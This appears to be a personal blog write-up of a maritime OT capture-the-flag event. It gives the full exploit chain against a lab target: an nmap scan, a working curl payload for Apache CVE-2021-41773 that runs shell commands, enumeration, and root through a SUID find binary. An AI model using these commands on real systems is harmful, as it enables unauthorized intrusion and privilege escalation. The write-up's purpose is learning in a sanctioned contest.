Hack the Boat CTF — My First Capture The Flag


Last Wednesday I participated in my first Capture The Flag event: Hack the Boat, hosted by ON2IT at their headquarters in Zaltbommel. A live maritime OT (Operational Technology) CTF inside “THE GRID” — controlling a simulated military cargo vessel’s ballast system. We got second place.

This post is a walkthrough of the exploit path we took, and a few lessons I learned along the way.

The Setup

Kali Linux live ISO running inside a QEMU VM on my laptop. I made a huge mistake early on: I started the VM with default networking (QEMU user-mode NAT), which meant the VM couldn’t see anything else on the LAN. The target was at 192.168.9.131 and my host was at 192.168.9.121 — same subnet, but the VM was trapped behind QEMU’s internal NAT.

The fix: restart with the -nic tap flag so the VM gets its own IP on the physical network. Without that, you’re flying blind.

Step 1: Port Scan

nmap -p- -T4 --min-rate=5000 -Pn -n --open 192.168.9.131

One open port: 8000/tcp running HTTP.

Step 2: Identify the Service

curl -v http://192.168.9.131:8000/

The response headers gave it away:

Server: Apache/2.4.49 (Unix)

Apache 2.4.49 is vulnerable to CVE-2021-41773 — a path traversal vulnerability in the CGI module. The bug is in Apache’s path normalization: it doesn’t properly handle %2e (URL-encoded dot) sequences, allowing an attacker to escape the CGI directory and execute arbitrary commands.

Step 3: Exploit CVE-2021-41773

The exploit payload sends a POST request to /cgi-bin/ with enough /.%2e/ sequences to traverse back to root, then points to /bin/sh with the command in the request body.

Critical detail: You must use --path-as-is with curl. Without it, curl normalizes the path client-side — it resolves /.%2e/.%2e/ before sending the request, and the traversal never reaches the server.

curl -s --path-as-is \
  'http://192.168.9.131:8000/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh' \
  -d 'echo Content-Type: text/plain; echo; id'

Response: uid=1(daemon) gid=1(daemon). We’re in, running as the daemon user.

Step 4: Enumeration

From the CGI shell, I enumerated the target:

uname -a        # Linux monitor-desktop, aarch64, Ubuntu 24.04
sudo -l         # daemon can run /home/monitor/Documents/fwrapper as monitor
find / -type f -perm -4000 2>/dev/null   # look for SUID binaries

Bingo: /usr/bin/find had the SUID bit set and was owned by root.

-rwsr-xr-x 1 root root 265440 Apr 8 /usr/bin/find

Step 5: SUID find → Root

The find binary with SUID root is a well-known privilege escalation vector. The key is the -p flag on /bin/sh — it tells the shell to preserve the effective UID (root). Without -p, bash drops privileges back to the real UID (daemon).

/usr/bin/find . -exec /bin/sh -p -c "id" \; -quit

Output: euid=0(root). That’s it — immediate root access.

From there, a quick search for the flag:

find / -name '*flag*' -type f 2>/dev/null

What I Learned

1. Don’t waste time on rabbit holes. I spent a good chunk of time looking for hidden wireless SSIDs and trying to get a reverse shell working through the CVE. The reverse shell quoting in curl’s -d flag is finicky — bind shells are simpler, and running commands one-shot through the CVE works perfectly fine.

2. Check Apache version first. It’s in the response headers. If I’d checked that immediately, I would’ve gone straight to the CVE instead of poking around blindly.

3. SUID binaries are the fastest path to root. find, nmap, vim, less, python — if any of these have the SUID bit, you’re one command away from root.

4. Networking matters. User-mode NAT in QEMU cuts you off from the LAN. Always use TAP mode for CTFs where you need to reach actual targets.

Full Chain

nmap → Apache 2.4.49 → CVE-2021-41773 → RCE as daemon → SUID find → root

Two steps from zero to root, maybe 10 minutes once you know what to look for.

The other team got there first, but for a first CTF I’ll take second place. Next time.